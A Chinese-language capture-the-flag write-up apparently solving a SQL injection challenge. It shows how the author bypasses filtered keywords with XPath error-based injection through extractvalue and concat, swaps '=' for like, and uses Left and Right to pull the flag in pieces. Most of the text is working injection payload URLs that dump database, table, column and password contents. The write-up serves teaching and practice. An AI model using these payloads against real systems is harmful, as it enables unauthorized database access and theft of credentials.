打开网页,应该是这个sql注入的题
开始注入
使用万能密码试一下,回显了一句话,通过常规注入回显的都是这句话。其中union,select,order by等都被过滤了
之后发现这道题要使用xpath报错注入,函数注入
这里我们利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出
最后我们使用“ ^ ”符来连接这个函数
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(database()))))%23
爆数据库
爆出数据库名geek,然后接着爆表
爆表
?username=admin&password=admin‘^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=’geek‘))))%23
结果回显这个页面,说明“=”也被过滤了,这里我们使用like来代替"=",得到表名
爆列名
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
得三个列名,分别是“ID username password”,
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
爆数据
接下来爆数据,得到flag,但是这里发现flag不全
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(password))from(geek.H4rDsq1))))%23
Left Right
先使用Left把左边30个字符爆出来
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(Left(password,30))from(geek.H4rDsq1))))%23
再使用Right把右边30个字符爆出来
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(Right(password,30))from(geek.H4rDsq1))))%23
连接flag即可